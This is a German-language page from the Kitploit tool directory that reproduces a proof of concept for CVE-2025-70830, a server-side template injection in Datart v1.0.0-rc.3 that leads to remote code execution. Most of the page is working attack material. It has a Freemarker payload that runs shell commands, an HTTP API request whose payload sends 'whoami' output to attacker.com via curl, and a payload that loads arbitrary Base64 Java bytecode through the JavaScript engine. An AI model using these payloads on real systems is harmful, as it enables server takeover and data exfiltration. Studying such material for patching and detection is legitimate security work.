Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-70830 — Eine Server-Side Template Injection (SSTI)-Schwachstelle in der Freemarker-Vorlagen-Engine von Datart v1.0.0-rc.3 ermöglicht es authentifizierten Angreifern, beliebigen Code auszuführen, indem sie manipulierte Freemarker-Vorlagensyntax in das SQL-Skriptfeld einschleusen. | Kitploit
Tools/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

Eine Server-Side Template Injection (SSTI)-Schwachstelle in der Freemarker-Vorlagen-Engine von Datart v1.0.0-rc.3 ermöglicht es authentifizierten Angreifern, beliebigen Code auszuführen, indem sie manipulierte Freemarker-Vorlagensyntax in das SQL-Skriptfeld einschleusen.

Repository anzeigen
52vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-70830: Datart Server-Side Template Injection (SSTI)

Übersicht über die Sicherheitslücke

  • CVE-Nummer: CVE-2025-70830
  • Betroffenes Produkt: Datart
  • Betroffene Version: v1.0.0-rc.3
  • Schwachstellentyp: Server-Side Template Injection (SSTI) – Serverseitige Template-Injection
  • Gefährdungsstufe: Remote Code Execution (RCE)

Beschreibung der Sicherheitslücke

In der Version v1.0.0-rc.3 von Datart weist die Freemarker-Template-Engine eine Serverseitige Template-Injection (SSTI) auf. Ein authentifizierter Angreifer kann durch das Einschleusen bösartiger Freemarker-Template-Syntax in das SQL-Skriptfeld beliebigen Systemcode ausführen.

Proof of Concept (Nachweis der Ausnutzbarkeit)

1. Voraussetzungen

  • Anmeldung am Datart-System.
  • Zugriff auf eine Datenquelle mit SQL-Ausführungsfunktion und Bearbeitungsmöglichkeit.

2. Payload-Konstruktion

Im SQL-Skript-/Abfrageeditor kann das folgende Freemarker-Payload zur Ausführung von Systembefehlen (z. B. id oder calc) verwendet werden:

root@kitploit:~
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

Durch Klick auf "Skript ausführen" wird der Befehl im Hintergrund auf dem Server ausgeführt.

3. Beispiel einer HTTP-Anfrage

Das folgende Request-Paket löst die Schwachstelle über die API aus:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

Erweiterte Ausnutzung (Advanced Exploitation)

Laden beliebigen Bytecode (Load Custom Bytecode)

Ein Angreifer kann die Java-Klasse javax.script.ScriptEngineManager nutzen, um die JS-Engine aufzurufen und beliebigen Base64-kodierten Java-Bytecode zu laden und auszuführen.

Beispiel-Payload:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
Tool herunterladen